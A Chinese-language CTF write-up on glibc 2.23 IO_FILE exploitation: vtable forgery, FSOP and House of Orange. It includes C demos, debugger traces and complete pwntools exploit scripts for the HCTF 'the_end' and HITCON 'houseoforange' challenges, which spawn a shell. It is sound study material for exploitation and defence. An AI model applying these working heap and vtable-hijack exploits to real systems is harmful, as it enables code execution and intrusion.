伪造vtable–2.23
在glibc2.23中虽然vtable所在的libc段不可写,但是没有像2.24那样加入对vtable的检查机制,所以利用也不是很难。
在2.23版本下用任意写环境对vtable表进行攻击已经不不适用了,所以只能采取劫持IO_FILE_plus结构体的vtable指针,伪造vtable表。然后在表项中直接填入one_gadge,这个比较简单。
但是如果用不了one_gadget还有一种方式就是,泄露system函数地址,将system地址写入对应表项。由于 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址
所以我们可以将/bin/sh提前写入_IO_FILE_plus 堆的首地址中。
演示
我在本地把地址随机化关了:0x7ffff7a523a0 system地址
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(void)
{
FILE *fp;
void *func[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
0x7ffff7a523a0, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
NULL, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
};
unsigned long *vtable_ptr;
unsigned char *ptr;
ptr = malloc(sizeof(FILE) + sizeof(void*));
free(ptr);
fp=fopen("test.txt","rw");
vtable_ptr=(unsigned long *)((ptr+sizeof(FILE))); //get vtable
void *fake_vtable = malloc(0x100);
//void *memcpy(void *str1, const void *str2, size_t n)
memcpy((void *)fake_vtable,(const void *)func,sizeof(func));
*vtable_ptr = fake_vtable; //vtable hijack
//0x7ffff7a523a0; //xsputn
memcpy((void *)fp,"/bin/sh\x00",8);
/*这里将会间接调用vtable中的system函数,在调用时第一个参数就是fp,而此时fp我们已经写入/bin/sh字符串*/
fwrite("hi",2,1,fp);
}
► 0x400865 <main+335> call fwrite@plt <fwrite@plt>
ptr: 0x400929 ◂— push 0x1b010069 /* 'hi' */
size: 0x2
n: 0x1
s: 0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */
.....
...
RAX 0x602240 ◂— 0x0
RBX 0x2
RCX 0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */
RDX 0x2
*RDI 0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */ <===============
RSI 0x400929 ◂— push 0x1b010069 /* 'hi' */
R8 0x6020f0 ◂— 0x100000001
R9 0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */
R10 0x2
R11 0x7ffff7a7b6f0 (fwrite) ◂— push r14
R12 0x400929 ◂— push 0x1b010069 /* 'hi' */
R13 0x1
► 0x7ffff7a7b7c8 <fwrite+216> call qword ptr [rax + 0x38] <system>
2018 HCTF the_end
checksec
[*] '/home/matrix/PWN/how2heap/wiki_heap/IO_FILE/the_end'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
canary 关闭
IDA
一个很简短的程序
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
我们可以直接泄露libc基址,然后for循环提供了5次任意地址写的环境
思路
前面两个close函数关闭了stdout,stderr流,程序不会再进行输出。但在调用exit函数时,会遍历_IO_list_all,根据_IO_2_1_stdout_下的vtable指针调用表项中的stebuf函数。在glibc <= 2.23环境下我们可以篡改vtable指针并在fake_vtable的setbuf的偏移处覆盖为one_gadget.
- 由于这里只能任意写5个字节,所以先覆盖IO_2_1_stdout->vtable* 的低2字节,只要使得到的fake_vtable处于可写入地址即可
- 在fake_vtable的setbuf处必须有一个libc中的地址,这样我们就只需覆盖其低3字节的地址即可
pwndbg> p *(struct _IO_jump_t *)0x7fd551fd4000 \<\=======注意要把vtable覆盖为可写入地址 $2 = { __dummy = 3947424, __dummy2 = 140554182475776, ..... ... __seekpos = 0x7fd551d5c0b0 <__strncasecmp_avx>, __setbuf = 0x7fd551feec26 <add_to_global+598>, <=======只需覆盖3字节 __sync = 0x7fd551d5a6b0 <__strcspn_sse42>, }
EXP
#+++++++++++++++++++the_end.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Wed Oct 28 17:14:52 CST 2020
#+++++++++++++++++++the_end.py++++++++++++++++++++
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./the_end_0')
#libc = ELF('/glibc/x64/2.27/lib/libc-2.27.so')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
sh = process('./the_end_0')
#sh = remote('node3.buuoj.cn',26557)
sh.recvuntil('here is a gift ')
sleep_addr = int(sh.recvuntil(',',drop=1),16)
libc_addr = sleep_addr - libc.symbols['sleep']
vtable_addr = libc_addr + 0x3c56f8
fake_table = libc_addr + 0x3c4000
padding1 = [pack(fake_table % 0x10000)[0],pack(fake_table % 0x10000)[1] ]#0x0c00
log.success('libc_addr=====>'+str(hex(libc_addr)))
log.success("fake_table=====>"+str(hex(fake_table)))
one_gad = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_addr + one_gad[0]
log.success("one_gadget======>"+str(hex(onegadget)))
tmp = onegadget % 0x1000000
padding2 = [p32(tmp)[0],p32(tmp)[1],p32(tmp)[2]]
print padding2
for i in range(2):
sh.send(p64(vtable_addr+i))
sh.send(padding1[i])
#gdb.attach(sh,'b*$rebase(0x00000000000093A)')
for j in range(3):
sh.send(p64(fake_table+0x58+j))
sh.send(padding2[j])
sh.interactive()
我在本地虽然成功覆盖为one_gadget最终也没有得到shell,我调试之后发现应该使我本地one_gadget所需环境导致的:
本地one_gadget:
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
在要执行one_gadget时,因为是通过调用vtable的,所以rax会是_IO_FILE_plus地址,而其他3个地方都放着指令地址,所以我估计没戏了
.....
*RAX 0x7f0d99e5c000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3c3ba0 <====================1
.....
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
► 0x7f0d99add226 <do_system+1014> lea rsi, [rip + 0x381333] <0x7f0d99e5e560>
0x7f0d99add22d <do_system+1021> xor edx, edx
0x7f0d99add22f <do_system+1023> mov edi, 2
.........
.....
05:0028│ 0x7ffc7cacc400 —▸ 0x7f0d99e5dc40 (initial) ◂— 0x0
06:0030│ 0x7ffc7cacc408 —▸ 0x7f0d99ad1fab (__run_exit_handlers+139) ◂— add rbp, 8 <==============2
07:0038│ 0x7ffc7cacc410 —▸ 0x7f0d9a089168 —▸ 0x5635b4581000 ◂— jg 0x5635b4581047
pwndbg>
08:0040│ 0x7ffc7cacc418 ◂— 0x0
09:0048│ 0x7ffc7cacc420 —▸ 0x7ffc7cacc460 —▸ 0x5635b4581970 ◂— push r15
0a:0050│ 0x7ffc7cacc428 —▸ 0x5635b45817a0 ◂— xor ebp, ebp <===================3
0b:0058│ 0x7ffc7cacc430 —▸ 0x7ffc7cacc540 ◂— 0x1
0c:0060│ 0x7ffc7cacc438 —▸ 0x7f0d99ad2055 ◂— nop word ptr cs:[rax + rax]
0d:0068│ 0x7ffc7cacc440 ◂— 0x0
0e:0070│ 0x7ffc7cacc448 —▸ 0x5635b4581969 ◂— nop dword ptr [rax] <===================4
FSOP
介绍
FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流(注意是所有流),相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow
对应源码:
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //,如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;
fp = fp->_chain; //遍历链表
}
...t
}
通过对fwrite分析,我们知道输出缓冲区的数据保存在fp->_IO_write_base处,且长度为fp->_IO_write_ptr-fp->_IO_write_base,因此上面的if语句实质上是判断该FILE结构输出缓冲区是否还有数据,如果有的话则调用_IO_OVERFLOW去刷新缓冲区。其中_IO_OVERFLOW是vtable中的函数,因此如果我们可以控制_IO_list_all链表中的一个节点的话,就有可能控制程序执行流
一般调用_IO_flush_all_lockp的情况为:
- libc执行abort函数时。(如malloc中的报错)
- 程序执行exit函数时。
- 程序从main函数返回时。
abort函数栈回溯:_IO_flush_all_lockp (do_lock=do_lock@entry=0x0) __GI_abort () __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7ba0d58 "*** Error in `%s': %s: 0x%s ***\n") malloc_printerr (action=0x3, str=0x7ffff7ba0e90 "double free or corruption (top)", ptr=<optimized out>, ar_ptr=<optimized out>) _int_free (av=0x7ffff7dd4b20 <main_arena>, p=<optimized out>,have_lock=0x0) main () __libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568) _start ()
exit函数,栈回溯为:
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()
程序正常退出,栈回溯为:
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
__libc_start_main (main=0x400526 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()
那么我们在成功劫持_IO_list_all之后,要做的就是绕过_IO_flush_all_lockp调用时的检查:
- fp->_mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
或者: - _IO_vtable_offset (fp) == 0
- fp->_mode > 0
- fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
演示
本地关闭地址随机化
#include<stdio.h>
#include<stdlib.h>
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8
int main(void)
{
void *ptr;
long long *list_all_ptr;
ptr=malloc(0x200);
/*fake_FILE_plus*/
*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
/*hijack _IO_list_all*/
list_all_ptr=(long long *)_IO_list_all;
list_all_ptr[0]=ptr;
exit(0);
}
栈回溯:
pwndbg> backtrace
#0 0x0000000041414141 in ?? ()
#1 0x00007ffff7a891a6 in _IO_flush_all_lockp (do_lock=do_lock@entry=0) at genops.c:786 <===================
#2 0x00007ffff7a8933a in _IO_cleanup () at genops.c:951
#3 0x00007ffff7a46fab in __run_exit_handlers (status=0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=true) at exit.c:95
#4 0x00007ffff7a47055 in __GI_exit (status=<optimized out>) at exit.c:104
#5 0x00000000004005f9 in main () at FSOP.c:28
#6 0x00007ffff7a2d840 in __libc_start_main (main=0x400566 <main>, argc=1, argv=0x7fffffffdf28, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf18) at ../csu/libc-start.c:291
#7 0x0000000000400499 in _start ()
house of orange
简介
House of Orange 与其他的 House of XX 利用方法不同,这种利用方法来自于 Hitcon CTF 2016 中的一道同名题目。由于这种利用方法在此前的 CTF 题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为 House of Orange。
原理
简单来说就是:在我们malloc申请空间时,在不超过128kb的情况下如果连top 都无法满足需求,那么将会把top链入unsortedbin ,通过brk来扩展heap,如果超过128kb(0x20000,初始top为0x21000)将用mmap分配。
所以说,如果top被链入unsortedbin那么我们就在没有free函数的情况下将top给free了,而且由于top填入了unsortedbin表头那么,还有可能泄露libc地址。然后如果top的size合适,由于unsortedbin 是
相当于fake_top的存在,所以之后的malloc只要size不是很大我们还是会在原top中分配内存(泄露地址),但要注意unsortedbin的大循环。
在调用brk之前对top的检查有:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
如果第一次调用本函数,top chunk 可能没有初始化,所以可能 old_size 为 0,然后如果 top chunk 已经初始化了,那么 top chunk 的大小必须大于等于 MINSIZE。其次 top chunk 必须标识前一个 chunk 处于 inuse 状态,并且 top chunk 的结束地址必定是页对齐的。此外 top chunk 除去 head的大小必定要小于所需 chunk 的大小,否则在_int_malloc() 函数中会使用 top chunk 分割出 chunk
我们总结一下伪造的 top chunk size 的要求:
- 伪造的 size 必须要对齐到内存页(因此我们伪造的 fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size)
- size 要大于 MINSIZE
- size 要小于之后申请的 chunk size + MINSIZE
- size 的 prev inuse 位必须为 1
演示
#include<stdio.h>
#include<stdlib.h>
#define fake_size 0x1fe1
int main(void)
{
void *ptr;
ptr=malloc(0x10);
ptr=(void *)((int)ptr+24);
*((long long*)ptr)=fake_size; //<===========0x602020 + 0x1fe0 == 0x604000页对齐
malloc(0x2000);
malloc(0x60);
}
结果:
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x625010 (size : 0x20ff0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x602020 (size : 0x1fc0)
pwndbg> x/8gx 0x602020
0x602020: 0x0000000000000000 0x0000000000001fc1
0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <==================
0x602040: 0x0000000000000000 0x0000000000000000
那么在 malloc(0x60)时将会分配到插入unsortedbin表头的chunk:
pwndbg> x/32gx 0x602020
0x602020: 0x0000000000000000 0x0000000000000071 <=======malloc(0x60)
0x602030: 0x00007ffff7dd2208 0x00007ffff7dd2208
0x602040: 0x0000000000602020 0x0000000000602020
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000001f51 <========被切割的lastremainder,在unsortedbin
0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6020b0: 0x0000000000000000 0x0000000000000000
HITCON HOUSE OF ORANGE
checksec
[*] '/home/matrix/PWN/how2heap/wiki_heap/IO_FILE/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开
IDA
整个程序就是:输入橘子的name,price,color,然后就随机展示一个对应颜色的橘子
- add:输入name,price,color,形成orange结构体,结构体之间没有相互关联,最多add4次
- show:常规输出,只是在输出orange时从data数据段随机选取orange
- edit:常规edit,存在堆溢出,最多修改3次
- 没有free函数
数据结构:
struct orange{
void *set; //set = calloc(1,8) for price and color
void *name; //name = malloc(size)
};
程序的漏洞在:
v2 = read_int();
if ( v2 > 0x1000 ) <=======
v2 = 4096;
printf("Name:");
read_like((void *)bss_ptr_chunk[1], v2); <======
printf("Price of Orange: ", v2);
v1 = (_DWORD *)*bss_ptr_chunk;
*v1 = read_int();
思路
注意只有3次edit,和4次add
用3次add和2次edit泄露libc地址和堆基址
- 利用hourse of orange将top放入unsortedbin中,这便写入了libc地址
- 然后再add一个largechunk,这样largechunk分配出来后其fd_nextsize,bk_nextsize都会指向自己
相关源码:
最后再进行遍历,从largebin中切割old_top,然后剩下的old_top作为lastremainder又放入unsortedbin中/*1处于smallbinsfanwei 2存在last_remainder 3 size大于nb + MINSIZE,保证可以进行切割 先在unsortedbin搜索*/ if (in_smallbin_range(nb) && bck == unsorted_chunks(av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { ..... .... ... /*我们是add一个largechunk上面几个苛刻条件没满足,那就直接把old_top的链接解除*/ /* remove from unsorted list 最后的chunk解除链接 */ unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); .... .. /*解除old_top的链接后,将会放入largebins,而此时largebins是没有chunk的*/ ..... ... victim->fd_nextsize = victim->bk_nextsize = victim; //如果largebins没有chunk,则fd_nextsize和bk_nextsize都指向自己 .... ...
结果:add(8,'A'*7,100,1); #fake_size = 0xfa1 #add1 fake_size = 'A'*0x38 + p64(0xfa1) edit(0x41,fake_size,100,1) #edit1 add(0x1000,'B'*8,100,1) #add2 orange add(0x400,'',100,1)
过程示意图:0x55555575b0c0: 0x0000000000000000 0x0000000000000411 0x55555575b0d0: 0x00007ffff7dd510a 0x00007ffff7dd5188 <========注意这里是largebins 的某一个表头 0x55555575b0e0: 0x000055555575b0c0 0x000055555575b0c0 <========heap_addr 0x55555575b0f0: 0x0000000000000000 0x0000000000000000
FSOP
这个时候我们只有一次add和一次edit了.
利用unsortedbin attack劫持_IO_list_all内容,这样_IO_list_all就会指向main_arena+88(unosrtedbin表头).此时恰好指针为main_arena+88的_IO_FILE_plus结构体其_chain成员的值就是smallbins 0x60的fd字段的值:
pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd4b88 <==========main_arena + 88
$5 = {
file = {
_flags = -136492168,
_IO_read_ptr = 0x7ffff7dd4b78 <main_arena+88> "p\260uUUU",
_IO_read_end = 0x7ffff7dd4b88 <main_arena+104> "xK\335\367\377\177",
_IO_read_base = 0x7ffff7dd4b88 <main_arena+104> "xK\335\367\377\177",
_IO_write_base = 0x7ffff7dd4b98 <main_arena+120> "\210K\335\367\377\177",
_IO_write_ptr = 0x7ffff7dd4b98 <main_arena+120> "\210K\335\367\377\177",
_IO_write_end = 0x7ffff7dd4ba8 <main_arena+136> "\230K\335\367\377\177",
_IO_buf_base = 0x7ffff7dd4ba8 <main_arena+136> "\230K\335\367\377\177",
_IO_buf_end = 0x7ffff7dd4bb8 <main_arena+152> "\250K\335\367\377\177",
_IO_save_base = 0x7ffff7dd4bb8 <main_arena+152> "\250K\335\367\377\177",
_IO_backup_base = 0x7ffff7dd4bc8 <main_arena+168> "\270K\335\367\377\177",
_IO_save_end = 0x7ffff7dd4bc8 <main_arena+168> "\270K\335\367\377\177",
_markers = 0x7ffff7dd4bd8 <main_arena+184>,
_chain = 0x7ffff7dd4bd8 <main_arena+184>, <==============
_fileno = -136492056,
_flags2 = 32767,
},
vtable = 0x7ffff7dd4c48 <main_arena+296>
}
0x7ffff7dd4bb0 <main_arena+144>: 0x00007ffff7dd4b98 0x00007ffff7dd4ba8
0x7ffff7dd4bc0 <main_arena+160>: 0x00007ffff7dd4ba8 0x00007ffff7dd4bb8 <===================smallbins 0x60表头
0x7ffff7dd4bd0 <main_arena+176>: 0x00007ffff7dd4bb8 0x00007ffff7dd4bc8 <===================_chain
0x7ffff7dd4be0 <main_arena+192>: 0x00007ffff7dd4bc8 0x00007ffff7dd4bd8
那么就利用最后一次edit把old_top改为0x60的大小(已经不是top了,就当作unsorted chunk来看),之后再次malloc一次那么将会进行unsortedbin遍历,将old_top(0x60)放入smallbins的0x60双向链表中
。那么综上修改old_top的一次malloc会造成:
- unsortedbin attack劫持_IO_list_all,指向unsortedbin 表头
- 同时old_top(0x60)链入smallbins(0x60)中,恰好为_IO_FILE的_chain成员
所以我们在edit old_top的同时还要伪造_IO_FILE_plus结构体
fd = libc_addr + 0x3c4b78
bk = IO_list_addr - 0x10 #unsortedbin attack fd写入表头地址
payload = 'A'*0x400
payload += p64(0) + p64(0x21)
payload += 'A'*0x10
fake_file = '/bin/sh\x00' + p64(0x61) #这里'/bin/sh\x00'是为了作为vtablei调用system函数时作为其第一个参数
fake_file += p64(fd) + p64(bk) #IO_list_addr - 0x10
fake_file = fake_file.ljust(38,'\x00')
fake_file += p64(0) + p64(1) + p64(0) #base and ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) #mode
fake_file = fake_file.ljust(0xd8,'\x00')
fake_vtable = heap_base + 0x4f0 + len(fake_file)
fake_file += p64(fake_vtable+8)
show_addr('fake_vtable',fake_vtable)
payload += fake_file
payload += '\x00'*0x8*3 + p64(system_addr)
edit(0x800,payload,100,1)
此时数据分布为:
EXP
#+++++++++++++++++++houseoforange.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.10.29 14.56.06
#+++++++++++++++++++houseoforange.py++++++++++++++++++++
from pwn import*
from pwn_debug import IO_FILE_plus
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./houseoforange')
#libc = ELF('./libc-2.23 _64.so')
#libc = ELF('./libc64-2.19.so')
libc=ELF('/glibc/x64/2.23/lib/libc-2.23.so')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def add(size,cont,price,color):
sh.sendlineafter('Your choice : ','1')
sh.sendlineafter('Length of name :',str(size))
sh.sendlineafter('Name :',str(cont))
sh.sendlineafter('Price of Orange:',str(price))
sh.sendlineafter('Color of Orange:',str(color))
def edit(size,cont,price,color):
sh.sendlineafter('Your choice : ','3')
sh.sendlineafter('Length of name :',str(size))
sh.sendlineafter('Name:',str(cont))
sh.sendlineafter('Price of Orange: ',str(price))
sh.sendlineafter('Color of Orange: ',str(color))
def show():
sh.sendlineafter('Your choice : ','2')
def show_addr(name,addr):
log.success("The Addr " + str(name) + ":" + str(hex(addr)))
sh = process('./houseoforange')
add(8,'A'*7,100,1); #fake_size = 0xfa1 #add1
fake_size = 'A'*0x38 + p64(0xfa1)
edit(0x41,fake_size,100,1) #edit1
add(0x1000,'B'*8,100,1) #add2
add(0x400,'A'*7,100,1)
#gdb.attach(sh) #add3
log.info("++++++++++++++++++++++leaking _Addr+++++++++++++++++++++++")
show()
sh.recvuntil('Name of house : ')
sh.recv(8)
#gdb.attach(sh)
libc_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x39BB20 - 0x668 #这里泄露的表头是某个largebins的所以减0x668
system_addr = libc_addr + libc.symbols['system']
show_addr('system_addr',system_addr)
edit(0x10,'B'*0xf,100,1) #edit2
onegad = [0x3f3e6,0x3f43a,0xd5c07]
onegadget = libc_addr + onegad[0]
show_addr('onegadget',onegadget)
show()
sh.recvuntil('\n')
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0xc0
show_addr('heap_base',heap_base)
show_addr('libc',libc_addr)
#gdb.attach(sh)
log.info("++++++++++++++++++++++IO_FILE Attack+++++++++++++++++++++++")
IO_list_addr = libc_addr + libc.symbols['_IO_list_all']
fd = libc_addr + 0x3c4b78
bk = IO_list_addr - 0x10
payload = 'A'*0x400
#edit(len(unsorted)+1,unsorted,100,1)
payload += p64(0) + p64(0x21)
payload += 'A'*0x10
fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(fd) + p64(bk) #IO_list_addr - 0x10
fake_file = fake_file.ljust(38,'\x00')
fake_file += p64(0) + p64(1) + p64(0) #base and ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) #mode
fake_file = fake_file.ljust(0xd8,'\x00')
fake_vtable = heap_base + 0x4f0 + len(fake_file)
fake_file += p64(fake_vtable+8)
show_addr('fake_vtable',fake_vtable)
payload += fake_file
payload += '\x00'*0x8*3 + p64(system_addr)
edit(0x800,payload,100,1)
sh.interactive()
需要多执行几次exp:
+++++++++++++++++++++++++++++++++++++
Your choice : $ 1
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f1ab7143520 ***
$ whoami
matrix
$
main_arena泄露libc地址
在泄露了main_arena部分的表头后,我们需要找到main_arena这个结构体在libc中的偏移才能算出libc地址。可以用IDA反编译后,搜索malloc_trim:
源码:
伪代码:
v28 = a1;
if ( dword_3BE170 < 0 )
sub_836E0();
v27 = 0;
v25 = &dword_3BE760; <===========
do
{
总结
- 获取libc地址
- 改写篡改_IO_list_all为可控地址,也可以篡改_IO_FILE的_chain表项(_IO_list_all_addr 在libc的可读可写段)
- 在可控地址伪造_IO_FILE_plus结构体,注意绕过_IO_flush_all_lockp的检查(_mode和_IO_write_ptr等 表项)
- 伪造fake_vtable,并在_IO_overflow处写入one_gadget或system